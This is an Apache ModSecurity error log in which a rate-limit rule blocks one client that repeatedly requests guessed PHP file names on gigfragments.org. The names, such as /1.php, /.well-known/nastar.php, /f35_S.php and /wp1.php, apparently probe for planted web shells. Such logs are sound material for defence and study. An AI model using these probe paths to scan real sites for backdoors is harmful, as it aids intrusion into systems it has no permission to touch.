[Sat Apr 25 18:17:03.839101 2026] [:error] [pid 16195:tid 16205] [client 20.215.66.169:13547] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeyUnzVPLvrpvXaNQOkBPgAAAAc"]
[Sat Apr 25 18:17:04.380505 2026] [:error] [pid 16195:tid 16214] [client 20.215.66.169:13588] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeyUoDVPLvrpvXaNQOkBQQAAABA"]
[Sat Apr 25 18:17:04.916683 2026] [:error] [pid 16106:tid 16115] [client 20.215.66.169:13649] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeyUoCGjdEsrWF7e-7MUdAAAAEU"]
[Sat Apr 25 18:17:05.452787 2026] [:error] [pid 16195:tid 16222] [client 20.215.66.169:13453] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeyUoTVPLvrpvXaNQOkBRAAAABg"]
[Sat Apr 25 18:17:06.019944 2026] [:error] [pid 16106:tid 16128] [client 20.215.66.169:13548] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeyUoiGjdEsrWF7e-7MUeAAAAFI"]
[Sat Apr 25 18:17:06.554305 2026] [:error] [pid 16108:tid 16166] [client 20.215.66.169:13449] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeyUoobPF4HSQDj6WrlVhQAAAMI"]
[Sat Apr 25 18:17:07.076825 2026] [:error] [pid 16106:tid 16111] [client 20.215.66.169:13518] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeyUoyGjdEsrWF7e-7MUegAAAEE"]
[Sat Apr 25 18:17:07.594669 2026] [:error] [pid 16106:tid 16118] [client 20.215.66.169:13455] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeyUoyGjdEsrWF7e-7MUewAAAEg"]
[Sat Apr 25 18:17:08.109118 2026] [:error] [pid 16195:tid 16203] [client 20.215.66.169:13549] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeyUpDVPLvrpvXaNQOkBTgAAAAU"]
[Sat Apr 25 18:17:08.643894 2026] [:error] [pid 16195:tid 16214] [client 20.215.66.169:13616] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeyUpDVPLvrpvXaNQOkBUAAAABA"]
[Sat Apr 25 18:17:09.205643 2026] [:error] [pid 16106:tid 16117] [client 20.215.66.169:13522] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeyUpSGjdEsrWF7e-7MUfQAAAEc"]
[Sat Apr 25 18:17:09.742074 2026] [:error] [pid 16108:tid 16183] [client 20.215.66.169:13610] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeyUpYbPF4HSQDj6WrlVkQAAANE"]
[Sat Apr 25 18:17:10.257715 2026] [:error] [pid 16106:tid 16123] [client 20.215.66.169:13581] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeyUpiGjdEsrWF7e-7MUfgAAAE0"]
[Sat Apr 25 18:17:10.766787 2026] [:error] [pid 16195:tid 16198] [client 20.215.66.169:13624] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeyUpjVPLvrpvXaNQOkBYwAAAAA"]
[Sat Apr 25 18:17:11.308694 2026] [:error] [pid 16195:tid 16208] [client 20.215.66.169:13630] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeyUpzVPLvrpvXaNQOkBZgAAAAo"]
[Sat Apr 25 18:17:11.868502 2026] [:error] [pid 16195:tid 16216] [client 20.215.66.169:13461] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeyUpzVPLvrpvXaNQOkBaQAAABI"]
[Sat Apr 25 18:17:12.461664 2026] [:error] [pid 16195:tid 16210] [client 20.215.66.169:13687] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeyUqDVPLvrpvXaNQOkBbQAAAAw"]
[Sat Apr 25 18:17:12.996765 2026] [:error] [pid 16195:tid 16212] [client 20.215.66.169:13531] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeyUqDVPLvrpvXaNQOkBbwAAAA4"]
[Sat Apr 25 18:17:13.538535 2026] [:error] [pid 16106:tid 16114] [client 20.215.66.169:13629] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeyUqSGjdEsrWF7e-7MUhQAAAEQ"]
[Sat Apr 25 18:17:14.097817 2026] [:error] [pid 16107:tid 16152] [client 20.215.66.169:13554] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeyUqtIfF7Hy3tw0sYRdGQAAAI8"]
[Sat Apr 25 18:17:14.632394 2026] [:error] [pid 16106:tid 16120] [client 20.215.66.169:13523] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeyUqiGjdEsrWF7e-7MUigAAAEo"]
[Sat Apr 25 18:17:15.143482 2026] [:error] [pid 16106:tid 16121] [client 20.215.66.169:13549] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeyUqyGjdEsrWF7e-7MUiwAAAEs"]
[Sat Apr 25 18:17:15.695118 2026] [:error] [pid 16195:tid 16203] [client 20.215.66.169:13512] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeyUqzVPLvrpvXaNQOkBfQAAAAU"]
[Sat Apr 25 18:17:16.234120 2026] [:error] [pid 16106:tid 16131] [client 20.215.66.169:13622] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeyUrCGjdEsrWF7e-7MUkQAAAFU"]
[Sat Apr 25 18:17:16.774149 2026] [:error] [pid 16106:tid 16125] [client 20.215.66.169:13661] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeyUrCGjdEsrWF7e-7MUkgAAAE8"]
[Sat Apr 25 18:17:17.381083 2026] [:error] [pid 16106:tid 16111] [client 20.215.66.169:13660] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeyUrSGjdEsrWF7e-7MUlQAAAEE"]
[Sat Apr 25 18:17:17.963503 2026] [:error] [pid 16106:tid 16119] [client 20.215.66.169:13463] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeyUrSGjdEsrWF7e-7MUlwAAAEk"]
[Sat Apr 25 18:17:18.536323 2026] [:error] [pid 16107:tid 16144] [client 20.215.66.169:13551] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeyUrtIfF7Hy3tw0sYRdIgAAAIc"]
[Sat Apr 25 18:17:19.049275 2026] [:error] [pid 16195:tid 16218] [client 20.215.66.169:13652] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeyUrzVPLvrpvXaNQOkBgwAAABQ"]
[Sat Apr 25 18:17:19.569139 2026] [:error] [pid 16195:tid 16216] [client 20.215.66.169:13451] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeyUrzVPLvrpvXaNQOkBhgAAABI"]
[Sat Apr 25 18:17:20.087101 2026] [:error] [pid 16195:tid 16215] [client 20.215.66.169:13443] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeyUsDVPLvrpvXaNQOkBiQAAABE"]
[Sat Apr 25 18:17:20.597092 2026] [:error] [pid 16195:tid 16211] [client 20.215.66.169:13658] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeyUsDVPLvrpvXaNQOkBjgAAAA0"]
[Sat Apr 25 18:17:21.109262 2026] [:error] [pid 16107:tid 16147] [client 20.215.66.169:13534] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeyUsdIfF7Hy3tw0sYRdJwAAAIo"]
[Sat Apr 25 18:17:21.620509 2026] [:error] [pid 16107:tid 16138] [client 20.215.66.169:13468] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeyUsdIfF7Hy3tw0sYRdKgAAAIE"]
[Sat Apr 25 18:17:22.134024 2026] [:error] [pid 16107:tid 16153] [client 20.215.66.169:13577] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeyUstIfF7Hy3tw0sYRdKwAAAJA"]
[Sat Apr 25 18:17:22.646931 2026] [:error] [pid 16108:tid 16164] [client 20.215.66.169:4039] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeyUsobPF4HSQDj6WrlVrQAAAMA"]
[Sat Apr 25 18:17:23.159090 2026] [:error] [pid 16195:tid 16214] [client 20.215.66.169:13452] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aeyUszVPLvrpvXaNQOkBmAAAABA"]
[Sat Apr 25 18:17:23.696014 2026] [:error] [pid 16108:tid 16187] [client 20.215.66.169:13493] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aeyUs4bPF4HSQDj6WrlVtAAAANU"]
[Sat Apr 25 18:17:24.230367 2026] [:error] [pid 16107:tid 16151] [client 20.215.66.169:13459] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aeyUtNIfF7Hy3tw0sYRdMAAAAI4"]
[Sat Apr 25 18:17:24.757510 2026] [:error] [pid 16195:tid 16215] [client 20.215.66.169:13623] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aeyUtDVPLvrpvXaNQOkBmwAAABE"]
[Sat Apr 25 18:17:25.271206 2026] [:error] [pid 16108:tid 16190] [client 20.215.66.169:13553] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35_S.php"] [unique_id "aeyUtYbPF4HSQDj6WrlVvQAAANg"]
[Sat Apr 25 18:17:25.799965 2026] [:error] [pid 16195:tid 16204] [client 20.215.66.169:13515] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35_S.php"] [unique_id "aeyUtTVPLvrpvXaNQOkBowAAAAY"]
[Sat Apr 25 18:17:26.335264 2026] [:error] [pid 16108:tid 16182] [client 20.215.66.169:13450] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35_S.php"] [unique_id "aeyUtobPF4HSQDj6WrlVxAAAANA"]
[Sat Apr 25 18:17:26.875349 2026] [:error] [pid 16195:tid 16220] [client 20.215.66.169:13563] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35_S.php"] [unique_id "aeyUtjVPLvrpvXaNQOkBpwAAABY"]
[Sat Apr 25 18:17:27.412555 2026] [:error] [pid 16107:tid 16142] [client 20.215.66.169:13467] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "aeyUt9IfF7Hy3tw0sYRdNAAAAIU"]
[Sat Apr 25 18:17:27.974035 2026] [:error] [pid 16108:tid 16174] [client 20.215.66.169:13454] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "aeyUt4bPF4HSQDj6WrlVygAAAMg"]
[Sat Apr 25 18:17:28.532773 2026] [:error] [pid 16107:tid 16153] [client 20.215.66.169:4040] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "aeyUuNIfF7Hy3tw0sYRdNwAAAJA"]
[Sat Apr 25 18:17:29.077423 2026] [:error] [pid 16106:tid 16130] [client 20.215.66.169:13464] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "aeyUuSGjdEsrWF7e-7MUpQAAAFQ"]
[Sat Apr 25 18:17:29.613459 2026] [:error] [pid 16106:tid 16113] [client 20.215.66.169:13460] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/111.php"] [unique_id "aeyUuSGjdEsrWF7e-7MUpwAAAEM"]
[Sat Apr 25 18:17:30.147128 2026] [:error] [pid 16107:tid 16150] [client 20.215.66.169:13578] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/111.php"] [unique_id "aeyUutIfF7Hy3tw0sYRdPgAAAI0"]
[Sat Apr 25 18:17:30.660590 2026] [:error] [pid 16195:tid 16198] [client 20.215.66.169:13613] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/111.php"] [unique_id "aeyUujVPLvrpvXaNQOkBqwAAAAA"]
[Sat Apr 25 18:17:31.175119 2026] [:error] [pid 16108:tid 16180] [client 20.215.66.169:13489] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/111.php"] [unique_id "aeyUu4bPF4HSQDj6WrlV0wAAAM4"]
[Sat Apr 25 18:17:31.712081 2026] [:error] [pid 16195:tid 16214] [client 20.215.66.169:13462] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aeyUuzVPLvrpvXaNQOkBsQAAABA"]
[Sat Apr 25 18:17:32.277629 2026] [:error] [pid 16195:tid 16221] [client 20.215.66.169:13545] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aeyUvDVPLvrpvXaNQOkBtgAAABc"]
[Sat Apr 25 18:17:32.837346 2026] [:error] [pid 16195:tid 16215] [client 20.215.66.169:13543] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aeyUvDVPLvrpvXaNQOkBvQAAABE"]
[Sat Apr 25 18:17:33.374694 2026] [:error] [pid 16195:tid 16220] [client 20.215.66.169:13566] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aeyUvTVPLvrpvXaNQOkBwgAAABY"]
[Sat Apr 25 18:17:33.913457 2026] [:error] [pid 16108:tid 16167] [client 20.215.66.169:13561] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeyUvYbPF4HSQDj6WrlV2wAAAMM"]
